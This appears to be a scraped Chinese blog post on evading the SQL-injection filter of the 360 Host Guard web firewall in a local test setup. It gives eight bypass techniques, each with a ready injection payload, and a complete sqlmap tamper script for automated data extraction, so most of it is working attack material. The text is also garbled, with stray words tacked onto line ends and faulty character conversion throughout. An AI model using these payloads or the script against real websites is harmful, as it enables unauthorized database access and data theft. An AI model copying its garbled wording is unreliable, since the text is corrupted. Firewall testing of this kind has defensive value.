在服務器客戶端領域,曾經出現過一款360主機衛士,目前已中止更新和維護,官網都打不開了,但服務器中依然常常能夠看到它的身影。從半年前的測試虛擬機裏面,翻出了360主機衛士Apache版的安裝包,就當作是一個記念版吧。這邊主要分享一下幾種思路,Bypass 360主機衛士SQL注入防護。php
360主機衛士官網:http://zhuji.360.cn軟件版本:360主機衛士Apache 記念版測試環境:phpStudyhtml
本地構造SQL注入點:python
$id=_REQUEST['id']; query = "SELECT * FROM admin WHERE id = $id ";
0x02 WAF測試sql
因zhuji.360.cn站點已關閉,攔截界面爲空白,抓包先放一張攔截圖:數據庫
在360主機衛士客戶端設置中存在默認網站後臺白名單,如圖:瀏覽器
利用PHP中的PATH_INFO問題,隨便挑選一個白名單加在後面,可成功bypass。安全
/test.php/admin?id=1 union select 1,2,schema_name from information_schema.SCHEMATA服務器
當文件後綴名爲js、jpg、png等靜態資源後綴請求,相似白名單機制,waf爲了檢測效率,直接略過這樣一些靜態資源文件名後綴的請求。微信
/test.php/1.png?id=1 union select 1,2,schema_name from information_schema.SCHEMATA工具
當Post大包時,WAF在處理測試向量時超出了其緩衝區長度,超過檢測內容長度將會直接Bypass,若是正經常使用戶上傳一些比較大的文件,WAF每一個都檢測的話,性能就會被耗光。
基於這些考慮,POST 大包溢出的思路可成功Bypass。
/test.php
POST:
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,schema_name from information_schema.SCHEMATA
這種溢出的形式,我稱它爲uri參數溢出。好比某WAF,默認狀況下只能獲取前100個參數進行檢測,當提交第101個參數時,那麼,將沒法對攻擊者提交的第100個之後的參數進行有效安全檢測,從而繞過安全防護。
經測試,當提交的參數個數超過97個,可進行union select 查詢,再增長對關鍵字from的繞過,可成功Bypass。
http://192.168.204.128/test.php
POST:id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1 union select 1,2,schema_name %0a/!from/information_schema.SCHEMATA
一個歷史久遠的邏輯問題了,當同時提交GET、POST請求時,進入POST邏輯,而忽略了GET請求的有害參數輸入,可輕易Bypass。
/test.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
POST:aaa
將Post、Get數據包轉爲上傳multipart/form-data格式數據包,利用協議解析的差別,從而繞過SQL防護。
------WebKitFormBoundaryACZoaLJJzUwc4hYMContent-Disposition: form-data; name="id"
1 union /* !select*/ 1,2,schema_name【這裏使用Enter換行】from information_schema.SCHEMATA------WebKitFormBoundaryACZoaLJJzUwc4hYM--
若是轉換數據包進行繞過呢?
首先,新建一個html頁面:
<html> <head></head> <body> <form action="http://192.168.204.128/test.php" method="post" enctype="multipart/form-data"> <input type="text" name="id"> <input type="submit"> </form> </body> </html>
而後,在瀏覽器打開並在輸入框中輸入參數,抓包發送到Repeater,進一步構造Payload獲取數據。
客戶端對Payload進行編碼,服務端可以自動進行解碼,這時候就考驗WAF的編碼解碼能力了,若是WAF不能進行有效解碼還原攻擊向量,可能致使繞過,常見編碼如URL編碼、unicode編碼(IIS)、寬字節編碼等。這個地方雖然URL編碼也能繞過獲取數據,主要是由於WAF對POST的防護規則太過於鬆散,union select 隨便繞,select from 用%0a就能夠解決,主要分享一下編碼繞過的思路。
/test.php?id=1POST:id=1 %55nion %53elect/* !1,2,schema_name %0aFROM information_schema.SCHEMATA* /
利用Mysql數據庫的一些特性,繞過WAF的防護規則,最終在數據庫中成功執行了SQL,獲取數據。
http://192.168.204.128/test.php
POST:
id=1 union%0a/* !12345select* / 1,2,schema_name%0a/* !12345from */information_schema.SCHEMATA
當測試出繞過WAF SQL注入防護的技巧後,可經過編寫tamper腳本實現自動化注入,以姿式八:%0a+內聯註釋爲例,主要是針對union select from等關鍵字替換,Payload中的部分關鍵字可能會被waf攔截,須要一步步調試,測試,總結規律。
tamper腳本:
#!/usr/bin/env python """ write by Bypass """ from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces keywords >>> tamper('UNION SELECT id FROM users') 'union%0a/*!12345select*/id%0a/*!12345from*/users' """ if payload: payload=payload.replace(" ALL SELECT ","%0a/*!12345select*/") payload=payload.replace("UNION SELECT","union%0a/*!12345select*/") payload=payload.replace(" FROM ","%0a/*!12345from*/") payload=payload.replace("CONCAT","CONCAT%23%0a") payload=payload.replace("CASE ","CASE%23%0a") payload=payload.replace("CAST(","/*!12345CASt(*/") payload=payload.replace("DATABASE()","database%0a()") return payload
加載tamper腳本,可成功獲取數據
這邊也分享一下,另外一個比較簡單的自動化注入的方法,就是使用超級SQL注入工具,利用這邊提供的注入繞過模塊,結合日誌中心的測試記錄,能夠很方便的進行調試,而後保存繞過模板,方便下次調用。
利用前面的關鍵字符進行替換,自動化注入獲取數據庫數據:
分享了幾種有意思的繞過思路,主要利用了WAF層的邏輯問題,數據庫層的一些特性,服務器層編碼解析、參數獲取的差別。其中借鑑和學習了很多前輩們的思路,受益不淺,學習,沉澱,總結,分享,周而復始。
最後
歡迎關注我的微信公衆號:Bypass--,每週原創一篇技術乾貨。